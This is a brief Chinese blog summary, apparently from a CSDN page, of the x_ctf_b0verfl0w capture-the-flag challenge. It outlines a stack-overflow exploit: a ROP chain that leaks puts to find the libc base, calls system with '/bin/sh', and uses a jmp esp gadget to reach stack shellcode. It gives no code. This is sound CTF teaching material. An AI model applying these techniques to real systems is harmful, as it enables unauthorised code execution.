x_ctf_b0verfl0w是一道栈溢出的题目，需要利用栈溢出漏洞来实现攻击。攻击者需要构造一个ROP链，通过泄露puts函数的地址，计算出libc的基地址，然后再通过libc中的system函数和/bin/sh字符串的地址来执行系统命令。在这个过程中，还需要利用到一个jmp esp的gadget，用于跳转到栈上的shellcode执行。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值